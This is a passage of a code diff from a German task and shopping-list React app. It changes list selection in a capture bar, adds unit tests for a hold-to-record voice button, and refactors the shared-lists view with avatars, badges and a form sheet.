setTargetListId(lists[0].id);
|
setTargetListId(writableLists[0].id);
|
||||||
}
|
}
|
||||||
}, [lists, targetListId]);
|
}, [writableLists, targetListId]);
|
||||||
|
|
||||||
// Close dropdown on outside click
|
// Close dropdown on outside click
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -103,7 +105,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
el.tagName === 'TEXTAREA' ||
|
el.tagName === 'TEXTAREA' ||
|
||||||
el.isContentEditable;
|
el.isContentEditable;
|
||||||
|
|
||||||
if (!isEditing && (e.key === 'c' || e.key === 'C' || e.key === '/')) {
|
if (!isEditing && (e.key === 'c' || e.key === 'C')) {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
inputRef.current?.focus();
|
inputRef.current?.focus();
|
||||||
} else if (e.key === 'Escape' && document.activeElement === inputRef.current) {
|
} else if (e.key === 'Escape' && document.activeElement === inputRef.current) {
|
||||||
@@ -180,7 +182,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
|
|
||||||
const effectiveTarget = fixedTarget || overrideTarget || target;
|
const effectiveTarget = fixedTarget || overrideTarget || target;
|
||||||
const effectiveListId =
|
const effectiveListId =
|
||||||
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
|
overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
|
||||||
const capturedPriority = priority;
|
const capturedPriority = priority;
|
||||||
const capturedDueDate = dueDate;
|
const capturedDueDate = dueDate;
|
||||||
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
|
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
|
||||||
@@ -236,7 +238,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
await executeCapture();
|
await executeCapture();
|
||||||
};
|
};
|
||||||
|
|
||||||
const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
|
const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
|
||||||
|
|
||||||
const getTargetLabel = () => {
|
const getTargetLabel = () => {
|
||||||
if (target === 'task') return 'Direkt-Aufgabe';
|
if (target === 'task') return 'Direkt-Aufgabe';
|
||||||
@@ -449,8 +451,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
type="button"
|
type="button"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
setTarget('list_item');
|
setTarget('list_item');
|
||||||
if (!targetListId && lists.length > 0) {
|
if (!targetListId && writableLists.length > 0) {
|
||||||
setTargetListId(lists[0].id);
|
setTargetListId(writableLists[0].id);
|
||||||
}
|
}
|
||||||
}}
|
}}
|
||||||
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
|
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
|
||||||
@@ -485,13 +487,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Optional Sub-Row: Shared List Picker */}
|
{/* Optional Sub-Row: Shared List Picker */}
|
||||||
{lists.length > 0 && (
|
{writableLists.length > 0 && (
|
||||||
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
|
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
|
||||||
<span className="text-muted mr-1 flex items-center gap-1">
|
<span className="text-muted mr-1 flex items-center gap-1">
|
||||||
<ShoppingCart className="w-3 h-3 text-accent" />
|
<ShoppingCart className="w-3 h-3 text-accent" />
|
||||||
Liste:
|
Liste:
|
||||||
</span>
|
</span>
|
||||||
{lists.map((lst) => {
|
{writableLists.map((lst) => {
|
||||||
const isSelected = target === 'list_item' && targetListId === lst.id;
|
const isSelected = target === 'list_item' && targetListId === lst.id;
|
||||||
return (
|
return (
|
||||||
<button
|
<button
|
||||||
|
|||||||
@@ -0,0 +1,287 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||||
|
import { render, screen, fireEvent, act } from '@testing-library/react';
|
||||||
|
import { HoldToRecordFab } from '../HoldToRecordFab';
|
||||||
|
|
||||||
|
class FakeSpeechRecognition {
|
||||||
|
static instances: FakeSpeechRecognition[] = [];
|
||||||
|
|
||||||
|
lang = '';
|
||||||
|
interimResults = false;
|
||||||
|
continuous = false;
|
||||||
|
started = false;
|
||||||
|
stopped = false;
|
||||||
|
aborted = false;
|
||||||
|
|
||||||
|
onresult: ((event: any) => void) | null = null;
|
||||||
|
onerror: ((event: any) => void) | null = null;
|
||||||
|
onend: (() => void) | null = null;
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
FakeSpeechRecognition.instances.push(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
start() {
|
||||||
|
this.started = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
stop() {
|
||||||
|
this.stopped = true;
|
||||||
|
this.onend?.();
|
||||||
|
}
|
||||||
|
|
||||||
|
abort() {
|
||||||
|
this.aborted = true;
|
||||||
|
this.onend?.();
|
||||||
|
}
|
||||||
|
|
||||||
|
emitResult(transcript: string) {
|
||||||
|
this.onresult?.({
|
||||||
|
results: [[{ transcript }]],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
emitError(error: string) {
|
||||||
|
this.onerror?.({ error });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('HoldToRecordFab', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.useFakeTimers();
|
||||||
|
FakeSpeechRecognition.instances = [];
|
||||||
|
(window as any).SpeechRecognition = FakeSpeechRecognition;
|
||||||
|
delete (window as any).webkitSpeechRecognition;
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
vi.useRealTimers();
|
||||||
|
delete (window as any).SpeechRecognition;
|
||||||
|
delete (window as any).webkitSpeechRecognition;
|
||||||
|
});
|
||||||
|
|
||||||
|
it('calls onTap on a short tap (< 350 ms)', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(150);
|
||||||
|
});
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(FakeSpeechRecognition.instances).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('starts recording on hold (>= 350 ms) and calls onTranscript with recognized text on release', async () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn().mockResolvedValue(undefined);
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(FakeSpeechRecognition.instances).toHaveLength(1);
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
expect(rec.started).toBe(true);
|
||||||
|
expect(rec.lang).toBe('de-DE');
|
||||||
|
expect(rec.interimResults).toBe(true);
|
||||||
|
expect(rec.continuous).toBe(true);
|
||||||
|
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
|
||||||
|
|
||||||
|
act(() => {
|
||||||
|
rec.emitResult('Milch und Kaffee einkaufen');
|
||||||
|
});
|
||||||
|
expect(screen.getByText('Milch und Kaffee einkaufen')).toBeTruthy();
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(rec.stopped).toBe(true);
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
expect(onTranscript).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).toHaveBeenCalledWith('Milch und Kaffee einkaufen');
|
||||||
|
expect(screen.getByRole('status').textContent).toContain('Im Quick Dump gespeichert');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('cancels recording when dragged up by more than 60 px and released', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
act(() => {
|
||||||
|
rec.emitResult('Verwerfen Test');
|
||||||
|
});
|
||||||
|
|
||||||
|
// Drag up by 80px (> 60px threshold)
|
||||||
|
fireEvent.pointerMove(btn, { clientY: 520 });
|
||||||
|
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
|
||||||
|
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 520 });
|
||||||
|
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(rec.aborted).toBe(true);
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('resumes normal recording if dragged above 60 px and then pulled back down before release', async () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn().mockResolvedValue(undefined);
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
act(() => {
|
||||||
|
rec.emitResult('Doch behalten');
|
||||||
|
});
|
||||||
|
|
||||||
|
// Drag up into cancel zone
|
||||||
|
fireEvent.pointerMove(btn, { clientY: 510 });
|
||||||
|
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
|
||||||
|
|
||||||
|
// Drag back down below threshold
|
||||||
|
fireEvent.pointerMove(btn, { clientY: 580 });
|
||||||
|
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 580 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(rec.aborted).toBe(false);
|
||||||
|
expect(onTranscript).toHaveBeenCalledWith('Doch behalten');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows "Nichts erkannt" and does not save when transcript is empty', async () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByRole('status').textContent).toContain('Nichts erkannt');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to onTap and shows message when microphone permission is denied', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
act(() => {
|
||||||
|
rec.emitError('not-allowed');
|
||||||
|
});
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByRole('status').textContent).toContain('Mikrofon nicht freigegeben');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to onTap and shows a status message when SpeechRecognition is unsupported', () => {
|
||||||
|
delete (window as any).SpeechRecognition;
|
||||||
|
delete (window as any).webkitSpeechRecognition;
|
||||||
|
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByRole('status').textContent).toContain(
|
||||||
|
'Spracheingabe wird von diesem Browser nicht unterstützt'
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('HoldToRecordFab tap timing', () => {
|
||||||
|
it('opens only on the click after the release, so that click cannot close the new sheet', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
|
||||||
|
const btn = screen.getByRole('button');
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
fireEvent.click(btn);
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('HoldToRecordFab keyboard access', () => {
|
||||||
|
it('opens the capture sheet when activated without a pointer (keyboard, screen reader)', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const { getByRole } = render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
|
||||||
|
fireEvent.click(getByRole('button'), { detail: 0 });
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -7,17 +7,20 @@ import {
|
|||||||
Radio,
|
Radio,
|
||||||
Sparkles,
|
Sparkles,
|
||||||
X,
|
X,
|
||||||
Hash,
|
|
||||||
ShoppingCart,
|
ShoppingCart,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { ListItem, SharedList, ListShare, Team, User, WSMessage } from '../../lib/types';
|
import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
|
||||||
import { api, buildWebSocketURL, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
|
import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
|
||||||
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||||
|
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
|
||||||
|
import { CountBadge } from '../../components/CountBadge';
|
||||||
|
import { FormSheet } from '../../components/FormSheet';
|
||||||
import { useMobileActions } from '../../context/MobileActionContext';
|
import { useMobileActions } from '../../context/MobileActionContext';
|
||||||
|
|
||||||
interface SharedListsViewProps {
|
interface SharedListsViewProps {
|
||||||
onRefreshGlobal: () => void;
|
onRefreshGlobal: () => void;
|
||||||
currentUser?: User | null;
|
currentUser?: User | null;
|
||||||
|
initialListId?: string | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function parseListItemInput(rawText: string, defaultQty?: string): {
|
export function parseListItemInput(rawText: string, defaultQty?: string): {
|
||||||
@@ -77,10 +80,16 @@ export function deduplicateItems(items: ListItem[]): ListItem[] {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser }) => {
|
export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser, initialListId }) => {
|
||||||
const { setGroups, setPrimaryAction } = useMobileActions();
|
const { setGroups, setPrimaryAction } = useMobileActions();
|
||||||
const [lists, setLists] = useState<SharedList[]>([]);
|
const [lists, setLists] = useState<SharedList[]>([]);
|
||||||
const [activeListId, setActiveListId] = useState<string>('');
|
const [activeListId, setActiveListId] = useState<string>(initialListId || '');
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (initialListId) {
|
||||||
|
setActiveListId(initialListId);
|
||||||
|
}
|
||||||
|
}, [initialListId]);
|
||||||
|
|
||||||
const [newItemText, setNewItemText] = useState('');
|
const [newItemText, setNewItemText] = useState('');
|
||||||
const [newItemQty, setNewItemQty] = useState('');
|
const [newItemQty, setNewItemQty] = useState('');
|
||||||
@@ -126,7 +135,9 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
items: deduplicateItems(l.items || []),
|
items: deduplicateItems(l.items || []),
|
||||||
}));
|
}));
|
||||||
setLists(deduplicated);
|
setLists(deduplicated);
|
||||||
if (deduplicated.length > 0 && (!activeListId || !deduplicated.some((l) => l.id === activeListId))) {
|
if (initialListId && deduplicated.some((l) => l.id === initialListId)) {
|
||||||
|
setActiveListId(initialListId);
|
||||||
|
} else if (deduplicated.length > 0 && (!activeListId || !deduplicated.some((l) => l.id === activeListId))) {
|
||||||
setActiveListId(deduplicated[0].id);
|
setActiveListId(deduplicated[0].id);
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
@@ -144,10 +155,32 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
.catch(() => {});
|
.catch(() => {});
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
|
// People shown in tabs: everyone with access except me
|
||||||
|
const otherMembers = (lst: SharedList): AvatarPerson[] =>
|
||||||
|
(lst.members || [])
|
||||||
|
.filter((m) => m.userId !== currentUser?.id)
|
||||||
|
.map((m) => ({ id: m.userId, name: m.displayName || m.email, avatarUrl: m.avatarUrl }));
|
||||||
|
|
||||||
const activeList = useMemo(() => {
|
const activeList = useMemo(() => {
|
||||||
return lists.find((l) => l.id === activeListId) || lists[0] || null;
|
return lists.find((l) => l.id === activeListId) || lists[0] || null;
|
||||||
}, [lists, activeListId]);
|
}, [lists, activeListId]);
|
||||||
|
|
||||||
|
// In shared lists every item shows who added it (older items without an author show nothing)
|
||||||
|
const isActiveListShared = (activeList?.members?.length || 0) > 1 || (activeList?.shares?.length || 0) > 0;
|
||||||
|
const renderItemAuthor = (item: ListItem) => {
|
||||||
|
if (!isActiveListShared || !item.createdBy) return null;
|
||||||
|
const member = activeList?.members?.find((m) => m.userId === item.createdBy);
|
||||||
|
const name = member?.displayName || member?.email || item.createdByName || '';
|
||||||
|
return (
|
||||||
|
<AvatarStack
|
||||||
|
people={[{ id: item.createdBy, name, avatarUrl: member?.avatarUrl }]}
|
||||||
|
size="xxs"
|
||||||
|
ringClass="ring-transparent"
|
||||||
|
title={name ? `Hinzugefügt von ${name}` : undefined}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!activeList?.id) return;
|
if (!activeList?.id) return;
|
||||||
|
|
||||||
@@ -323,6 +356,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
)
|
)
|
||||||
);
|
);
|
||||||
await api.deleteListItem(activeList.id, itemId);
|
await api.deleteListItem(activeList.id, itemId);
|
||||||
|
onRefreshGlobal();
|
||||||
};
|
};
|
||||||
|
|
||||||
const handleClearCompleted = async () => {
|
const handleClearCompleted = async () => {
|
||||||
@@ -467,7 +501,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
if (!sourceItem) return;
|
if (!sourceItem) return;
|
||||||
|
|
||||||
const targetCatNormalized = targetCategory.trim();
|
const targetCatNormalized = targetCategory.trim();
|
||||||
let newCategory = targetCatNormalized;
|
const newCategory = targetCatNormalized;
|
||||||
let newContent = sourceItem.content;
|
let newContent = sourceItem.content;
|
||||||
|
|
||||||
if (!targetCatNormalized) {
|
if (!targetCatNormalized) {
|
||||||
@@ -732,13 +766,16 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
return result;
|
return result;
|
||||||
}, [openItems]);
|
}, [openItems]);
|
||||||
|
|
||||||
|
const focusNewItemInput = () => {
|
||||||
|
inputRef.current?.focus({ preventScroll: true });
|
||||||
|
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||||
|
};
|
||||||
|
|
||||||
// Register context-sensitive mobile menu groups behind the MindSift logo
|
// Register context-sensitive mobile menu groups behind the MindSift logo
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
setPrimaryAction(() => {
|
setPrimaryAction(() => {
|
||||||
setTimeout(() => {
|
// Focus right inside the tap: iOS only opens the keyboard for focus() during the user gesture
|
||||||
inputRef.current?.focus();
|
focusNewItemInput();
|
||||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
|
||||||
}, 60);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
setGroups([
|
setGroups([
|
||||||
@@ -752,10 +789,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
icon: <Plus className="w-4 h-4 text-accent" />,
|
icon: <Plus className="w-4 h-4 text-accent" />,
|
||||||
variant: 'accent',
|
variant: 'accent',
|
||||||
onClick: () => {
|
onClick: () => {
|
||||||
setTimeout(() => {
|
focusNewItemInput();
|
||||||
inputRef.current?.focus();
|
|
||||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
|
||||||
}, 60);
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -825,26 +859,34 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
const openCount = deduplicateItems(lst.items || []).filter((i) => !i.isCompleted).length;
|
const openCount = deduplicateItems(lst.items || []).filter((i) => !i.isCompleted).length;
|
||||||
const isSelected = activeList?.id === lst.id;
|
const isSelected = activeList?.id === lst.id;
|
||||||
return (
|
return (
|
||||||
<div key={lst.id} className="relative group flex items-center">
|
<div
|
||||||
|
key={lst.id}
|
||||||
|
className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
|
||||||
|
isSelected ? 'bg-panel border-accent text-main' : 'bg-canvas border-border text-muted hover:text-main'
|
||||||
|
} ${isSelected && lists.length > 1 ? 'pr-1' : ''}`}
|
||||||
|
>
|
||||||
<button
|
<button
|
||||||
onClick={() => setActiveListId(lst.id)}
|
onClick={() => setActiveListId(lst.id)}
|
||||||
className={`h-8 px-3 text-xs font-medium border flex items-center gap-1.5 transition-colors ${
|
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
|
||||||
isSelected
|
|
||||||
? 'bg-panel border-accent text-main'
|
|
||||||
: 'bg-canvas border-border text-muted hover:text-main'
|
|
||||||
} ${isSelected && lists.length > 1 ? 'rounded-l-btn rounded-r-none border-r-0' : 'rounded-btn'}`}
|
|
||||||
>
|
>
|
||||||
<span>{lst.icon}</span>
|
<span>{lst.icon}</span>
|
||||||
<span>{lst.title}</span>
|
{/* Counter on the label, like in the nav bar */}
|
||||||
{openCount > 0 && (
|
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-3' : ''}`}>
|
||||||
<span className="ml-1 badge-neutral">{openCount}</span>
|
{lst.title}
|
||||||
)}
|
<CountBadge count={openCount} position="corner" className="-top-0.5 -right-2" />
|
||||||
|
</span>
|
||||||
|
<AvatarStack
|
||||||
|
people={otherMembers(lst)}
|
||||||
|
size="xxs"
|
||||||
|
ringClass={isSelected ? 'ring-[var(--bg-panel)]' : 'ring-[var(--bg-app)]'}
|
||||||
|
className="ml-0.5"
|
||||||
|
/>
|
||||||
</button>
|
</button>
|
||||||
{isSelected && lists.length > 1 && (
|
{isSelected && lists.length > 1 && (
|
||||||
<button
|
<button
|
||||||
onClick={() => handleDeleteList(lst.id)}
|
onClick={() => handleDeleteList(lst.id)}
|
||||||
title="Liste löschen"
|
title="Liste löschen"
|
||||||
className="h-8 px-2 bg-panel border-y border-r border-accent text-faint hover:text-status-err hover:bg-status-err/10 rounded-r-btn flex items-center justify-center transition-colors cursor-pointer"
|
className="h-6 w-6 text-faint hover:text-status-err hover:bg-status-err/10 rounded-btn flex items-center justify-center transition-colors cursor-pointer"
|
||||||
>
|
>
|
||||||
<X className="w-3 h-3" />
|
<X className="w-3 h-3" />
|
||||||
</button>
|
</button>
|
||||||
@@ -976,61 +1018,35 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
{showNewListModal && (
|
{showNewListModal && (
|
||||||
<div className="fixed inset-0 !m-0 modal-overlay z-50 flex items-center justify-center p-4">
|
<FormSheet
|
||||||
<div className="w-full max-w-sm panel-surface shadow-panel p-4 space-y-3">
|
title="Neue Einkaufsliste erstellen"
|
||||||
<div className="flex items-center justify-between border-b border-border pb-2">
|
icon={<ShoppingCart className="w-4 h-4 text-accent" />}
|
||||||
<h3 className="text-sm font-semibold text-main flex items-center gap-1.5">
|
onClose={() => setShowNewListModal(false)}
|
||||||
<ShoppingCart className="w-4 h-4 text-accent" />
|
onSubmit={handleCreateList}
|
||||||
<span>Neue Einkaufsliste erstellen</span>
|
>
|
||||||
</h3>
|
<div>
|
||||||
<button
|
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
|
||||||
type="button"
|
<div className="flex items-center gap-1.5">
|
||||||
onClick={() => setShowNewListModal(false)}
|
<input
|
||||||
className="text-muted hover:text-main"
|
type="text"
|
||||||
>
|
value={newListIcon}
|
||||||
<X className="w-4 h-4" />
|
onChange={(e) => setNewListIcon(e.target.value)}
|
||||||
</button>
|
maxLength={2}
|
||||||
|
className="w-12 sm:w-10 h-11 sm:h-8 text-center input-field text-base sm:text-sm"
|
||||||
|
title="Icon (Emoji)"
|
||||||
|
/>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={newListTitle}
|
||||||
|
onChange={(e) => setNewListTitle(e.target.value)}
|
||||||
|
placeholder="z.B. Supermarkt, Baumarkt, Drogerie"
|
||||||
|
autoFocus
|
||||||
|
required
|
||||||
|
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2.5 text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</FormSheet>
|
||||||
<form onSubmit={handleCreateList} className="space-y-3">
|
|
||||||
<div>
|
|
||||||
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
|
|
||||||
<div className="flex items-center gap-1.5">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newListIcon}
|
|
||||||
onChange={(e) => setNewListIcon(e.target.value)}
|
|
||||||
maxLength={2}
|
|
||||||
className="w-10 h-8 text-center input-field text-sm"
|
|
||||||
title="Icon (Emoji)"
|
|
||||||
/>
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newListTitle}
|
|
||||||
onChange={(e) => setNewListTitle(e.target.value)}
|
|
||||||
placeholder="z.B. Supermarkt, Baumarkt, Drogerie"
|
|
||||||
autoFocus
|
|
||||||
required
|
|
||||||
className="flex-1 h-8 input-field px-2.5 text-xs"
|
|
||||||
/>
|
|
||||||
